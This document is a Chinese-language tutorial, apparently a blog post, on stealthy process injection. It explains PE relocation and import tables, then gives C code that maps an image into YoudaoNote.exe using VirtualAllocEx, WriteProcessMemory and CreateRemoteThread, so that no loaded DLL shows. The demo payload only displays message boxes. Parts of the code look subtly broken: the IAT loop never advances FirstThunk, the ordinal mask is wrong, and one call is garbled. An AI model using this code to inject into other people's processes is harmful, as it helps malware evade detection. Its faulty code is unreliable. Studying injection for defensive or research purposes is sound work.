內存寫入技術的思路和研究
前言
我們使用一般的注入方式如全局鉤子注入、遠程線程注入等注入dll到一個程序里面,因為使用了GetProcAddress得到LoadLibrary的地址,用LoadLibrary的地址加載了我們自己的dll,所以在導入表里面能夠看到dll,如下所示
這里我注入一個dll到有道云筆記里面

使用Proc查看dll是能夠清楚的看到的

那么有沒有一種技術能夠更加隱蔽的注入dll呢,這里我們就可以自己申請內存寫入shellcode,使用到內存寫入技術
基礎知識
重定位表
重定位表(Relocation Table)用于在程序加載到內存中時,進行內存地址的修正。為什么要進行內存地址的修正?我們舉個例子來說:test.exe可執行程序需要三個動態鏈接庫dll(a.dll,b.dll,c.dll),假設test.exe的ImageBase為400000H,而a.dll、b.dll、c.dll的基址ImageBase均為1000000H。
那么操作系統的加載程序在將test.exe加載進內存時,直接復制其程序到400000H開始的虛擬內存中,接著一一加載a.dll、b.dll、c.dll:假設先加載a.dll,如果test.exe的ImageBase + SizeOfImage + 1000H不大于1000000H,則a.dll直接復制到1000000H開始的內存中;當b.dll加載時,雖然其基址也為1000000H,但是由于1000000H已經被a.dll占用,則b.dll需要重新分配基址,比如加載程序經過計算將其分配到1200000H的地址,c.dll同樣經過計算將其加載到150000H的地址。如下圖所示:

但是b.dll和c.dll中有些地址是根據ImageBase固定的,被寫死了的,而且是絕對地址不是相對偏移地址。比如b.dll中存在一個call 0X01034560,這是一個絕對地址,其相對于ImageBase的地址為δ = 0X01034560 - 0X01000000 = 0X34560H;而此時的內存中b.dll存在的地址是1200000H開始的內存,加載器分配的ImageBase和b.dll中原來默認的ImageBase(1000000H)相差了200000H,因此該call的值也應該加上這個差值,被修正為0X01234560H,那么δ = 0X01234560H - 0X01200000H = 0X34560H則相對不變。否則call的地址不修正會導致call指令跳轉的地址不是實際要跳轉的地址,獲取不到正確的函數指令,程序則不能正常運行。
由于一個dll中的需要修正的地址不止一兩個,可能有很多,所以用一張表記錄那些“寫死”的地址,將來加載進內存時,可能需要一一修正,這張表稱作為重定位表,一般每一個PE文件都有一個重定位表。當加載器加載程序時,如果加載器為某PE(.exe、.dll)分配的基址與其自身默認記錄的ImageBase不相同,那么該程序文件加載完畢后就需要修正重定位表中的所有需要修正的地址。如果加載器分配的基址和該程序文件中記錄默認的ImageBase相同,則不需要修正,重定位表對于該dll也是沒有效用的。比如test.exe和a.dll的重定位表都是不起作用的(由于一般情況.exe運行時被第一個加載,所以exe文件一般沒有重定位表,但是不代表所有exe都沒有重定位表)。同理如果先加載b.dll后加載a.dll、c.dll,那么b.dll的重定位表就不起作用了。
PE結構
PE文件大致可以分為兩部分,即數據管理結構及數據部分。數據管理結構包含:DOS頭、PE頭、節表。數據部分包括節表數據(節表數據是包含著代碼、數據等內容)。

1.DOS頭
DOS頭分為兩個部分,分別是MZ頭及DOS存根,MZ頭是真正的DOS頭部,它的結構被定義為IMAGE_DOS_HEADER。DOS存根是一段簡單程序,主要是用于兼容DOS程序,當不兼容DOS程序時,輸出:”this program cannot be run in DOS mode”。
2.PE頭
PE頭分為三個部分,分別是PE標識(IMAGE_NT_SIGNATRUE)、文件頭(/images/hook技術/image_FILE_HEADER)、可選頭(IMAHE_OPTION_HEADER)。PE頭是固定不變的,位于DOS頭部中e_ifanew字段指出位置。
3.節表
程序中組織按照不同屬性存在不同的節中,如果PE中文件頭的NumberOfSections值中有N個節,那么節表就是由N個節表(IMAGE_SECTION_HEADER)組成。節表主要是存儲了何種借的屬性、文件位置、內存位置等。位置緊跟PE頭后。
4.節表數據
PE文件真正程序部分的存儲位置,有幾個節表就有幾個節表數據,根據節表的屬性、地址等信息,程序的程序就分布在節表的指定位置。位置緊跟節表后。
導入表
在了解IAT表之前,需要知道PE數據目錄項的第二個結構 — 導入表

由于導入函數就是被程序調用但其執行代碼又不在程序中的函數,這些函數的代碼位于一個或者多個DLL 中。當PE 文件被裝入內存的時候,Windows 裝載器才將DLL 裝入,并將調用導入函數的指令和函數實際所處的地址聯系起來(動態連接),這操作就需要導入表完成,其中導入地址表就指示函數實際地址。
導入表是一個結構體,如下所示
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
這里VirtualAddress為導入表的RVA(PE文件在內存中會拉伸,拉伸后的文件偏移地址稱為RVA,原來的文件偏移地址稱為FOA,計算公式為FOA = 導入RVA表地址 - 虛擬偏移 + 實際偏移),Size為導入表的大小。但是上面的解雇姿勢說明導入表在哪里、有多大,并不是真正的導入表。VirtualAddress中存儲的是RVA,如果要在FileBuffer中定位,需要將RVA轉換成FOA,即內存偏移->文件偏移,通過轉換過后才能得到真正的導入表,結構如下
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //RVA 指向IMAGE_THUNK_DATA結構數組(即INT表)
};
DWORD TimeDateStamp; //時間戳
DWORD ForwarderChain;
DWORD Name; //RVA,指向dll名字,該名字已0結尾
DWORD FirstThunk; //RVA,指向IMAGE_THUNK_DATA結構數組(即IAT表)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
IAT表
到真正的導入表這個地方,又涉及到兩個表,即INT表(Import Name Table)和IAT(Import Address Table),很明顯這里一個表是存儲名稱,一個表是存儲地址的。這里又有一個注意的地方,就是在加載之前INT、IAT表里面存放的都是函數的名稱并指向IMAGE_IMPORT_BY_NAME結構,如下圖所示

在PE文件加載到內存后,INT表的內容和指向的結構都不變,但是IAT表存放的就是函數的地址,也不指向IMAGE_IMPORT_BY_NAME結構了,如下所示

實現過程
那么要進行寫入肯定需要修復重定位表跟IAT表,因為在默認情況下exe的ImageBase為0x400000,但是可能占不到0x400000這個位置,那么就需要修復重定位表來修改一些全局變量的指向。
也許有人有這樣的疑問,重定位表中已經包含了IAT表的地址,修復重定位表也就是修復了IAT表的地址,問題在于修復的是IAT表的地址,我們知道IAT表里存的是一個地址,地址里面的值才是正在的函數地址,函數地址的值是在運行的時候才會確定下來(這也與重定位有關),而我們運行時系統給我們寫的函數地址的值,并不是基于我們希望的那個位置寫的,我們希望的位置是在被寫入進程中創建空間的首地址,所以這個代碼應該在被寫入的進程中執行。
首先編寫修復IAT表的代碼,這里看下IAT表的結構
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
在IAT表里面有兩種方式,一種是以序號導入,一種是以名字導入

這里就直接貼修復IAT表的代碼了,解釋起來有點困難,如果沒有基礎的師傅請自行百度
DWORD WINAPI FixIATTable(LPVOID ImageBase)
{
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNTHeader = NULL;
PIMAGE_FILE_HEADER pPEHeader = NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_IMPORT_DESCRIPTOR pIMPORT_DESCRIPTOR = NULL;
PIMAGE_IMPORT_BY_NAME pImage_IMPORT_BY_NAME = NULL;
PDWORD OriginalFirstThunk = NULL;
PDWORD FirstThunk = NULL;
PIMAGE_THUNK_DATA pImageThunkData = NULL;
DWORD Original = 0;
pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)ImageBase + pDosHeader->e_lfanew);
pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + 4);
pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER);
//導入表相關信息占20個字節
pIMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + pOptionHeader->DataDirectory[1].VirtualAddress);
DWORD dwFuncAddr = 0;
HMODULE hModule;
TCHAR Buffer[100] = {0};
while (pIMPORT_DESCRIPTOR->FirstThunk && pIMPORT_DESCRIPTOR->OriginalFirstThunk)
{
const char* pModuleAddr = (const char*)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name);
mbstowcs(Buffer, pModuleAddr, 100);
hModule = LoadLibrary(Buffer);
printf("%s", (LPCWCHAR)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name));
if (hModule == NULL)
{
printf("hModule error is:%d",::GetLastError());
return 0;
}
// FirstThunk 指向 IMAGE_THUNK_DATA 結構數組
OriginalFirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->OriginalFirstThunk);
FirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->FirstThunk);
while (*OriginalFirstThunk)
{
if (*OriginalFirstThunk & 0x80000000)
{
//高位為1 則 除去最高位的值就是函數的導出序號
//去除最高標志位
Original = *OriginalFirstThunk & 0xFFF;
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)Original);
}
else
{
//高位不為1 則指向IMAGE_IMPORT_BY_NAME;
pImage_IMPORT_BY_NAME = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + *OriginalFirstThunk);
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)pImage_IMPORT_BY_NAME->Name);
}
*FirstThunk = dwFuncAddr;
OriginalFirstThunk++;
}
pIMPORT_DESCRIPTOR++;
}
return 1;
}
再就是修復重定位表,首先看下重定位表,位于數據目錄項的第六個結構
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
VirtualAddress為重定位表的RVA,Size為重定位表的大小
上面的結構只是說明重定位表在哪里、有多大,并不是真正的重定位表
VirtualAddress中存儲的是RVA,如果要在FileBuffer中定位,需要將RVA轉換成FOA,即內存偏移->文件偏移
真正的重定位表的結構如下:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;
一般情況下,EXE都是可以按照ImageBase的地址進行加載的。因為Exe擁有自己獨立的4GB 的虛擬內存空間。但DLL 不是,DLL是有EXE使用它,才加載到相關EXE的進程空間的。為了提高搜索的速度,模塊間地址也是要對齊的 模塊地址對齊為10000H 也就是64K。

重定位表的具體解析如圖所示
!

根據解析編寫重定位表的代碼如下
PIMAGE_BASE_RELOCATION pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pAddr + GetRelocAddr(pAddr));
while (pRelocationDirectory->SizeOfBlock != 0 && pRelocationDirectory->VirtualAddress != 0)
{
DWORD sizeOfWord = (pRelocationDirectory->SizeOfBlock - 8) / 2;
PWORD pWord = (PWORD)((DWORD)pRelocationDirectory + 8);
for (int i = 0; i < sizeOfWord; i++)
{
if (*pWord >> 12 != 0)
{
PDWORD offsetAddr = (PDWORD)(pRelocationDirectory->VirtualAddress + (*pWord & 0xFFF) + (DWORD)pAddr);
*offsetAddr = *offsetAddr + (DWORD)pExAddr - GetImageBase(win32/imagebase);
pWord++;
continue;
}
pWord++;
}
pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + pRelocationDirectory->SizeOfBlock);
}
然后就是主函數的編寫,首先獲取當前進程的路徑
::GetModuleFileName(NULL, path, MAX_PATH);
再獲取模塊基址
HMODULE imagebase = ::GetModuleHandle(NULL);
通過PE頭獲取SizeOfImage參數
_size = pOptionHeader->SizeOfImage;
使用VirtualAlloc申請空間
pAddr = VirtualAlloc(NULL, _size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
打開要注入的進程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _getProcessPid(ProcessName));
使用VirtualAllocEx申請內存
pExAddr = ::VirtualAllocEx(hprocess, NULL, _size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
然后再修復重定位表和IAT表
DWORD FixNewIATTable = (DWORD)FixIATTable + (DWORD)pAddr - (DWORD)imagebase;
創建遠程線程并等待消息返回,關閉句柄
hThread = ::CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)FixNewIATTable, pAddr, 0, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread);
注入函數的完整代碼如下
VOID inject(LPCWSTR InjetName)
{
//獲取要注入的進程
WCHAR ProcessName[] = TEXT("YoudaoNote.exe");
DWORD dwPid = GetPid(ProcessName);
if (dwPid == 0)
{
printf("[!] GetPID failed,error is : %d", GetLastError());
return 0;
}
else
{
printf("[*] GetPID successfully!");
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);
if (hProcess == NULL)
{
printf("[!] OpenProcess failed,error is : %d", GetLastError());
return 0;
}
else
{
printf("[*] OpenProcess successfully!");
}
//獲取loadlibrary和GetProcAddress的函數地址
HMODULE hKernel32 = LoadLibrary(TEXT("Kernel32.dll"));
MyLoadlibrary = (pLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");
pMyGetAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
//獲取函數偏移
DWORD CurrentImageBase = (DWORD)GetModuleHandle(NULL);
DWORD dwTemp = (DWORD)ThreadProc;
//修正地址
if (*((char*)dwTemp) == (char)0xE9)
{
dwTemp = dwTemp + *((PDWORD)(dwTemp + 1)) + 5;
}
DWORD pFun = dwTemp - CurrentImageBase;
LPVOID pImageBuff = LoadImageBuffSelf();
//在要注入的程序申請空間
DWORD SizeofImage = GetSizeOfImage(pImageBuff);
DWORD ImageBase = GetImageBase(pImageBuff);
LPVOID pAlloc = NULL;
for (DWORD i = 0; pAlloc == NULL; i += 0x10000)
{
pAlloc = VirtualAllocEx(hProcess, (LPVOID)(ImageBase + i), SizeofImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
if ((DWORD)pAlloc != ImageBase)
{
//修復重定向表
ChangeImageBase(pImageBuff, (DWORD)pAlloc);
printf("[*] ChangeImageBase successfully!");
}
//寫入進程
if (WriteProcessMemory(hProcess, pAlloc, pImageBuff, SizeofImage, NULL) == false)
{
printf("[!] WriteProcessMemory failed,error is : %d", GetLastError());
return 0;
}
else
{
printf("[*] WriteProcessMemory successfully!");
}
//創建遠程線程
if (NULL == CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD)pAlloc + pFun), (LPVOID)(pAlloc), 0, NULL))
{
printf("[!] CreateRemoteThread failed,error is : %d", GetLastError());
return 0;
}
else
{
printf("[*] CreateRemoteThread successfully!");
}
printf("[*] WriteProcessMemory successfully!");
}
實現效果
這里選擇注入的程序是有道云

效果的話就是每隔一秒中彈窗內存寫入的MessageBox

運行程序注入成功,首先彈一個MessageBox的框

再每隔一秒鐘彈一個內存寫入的框,證明內存寫入成功
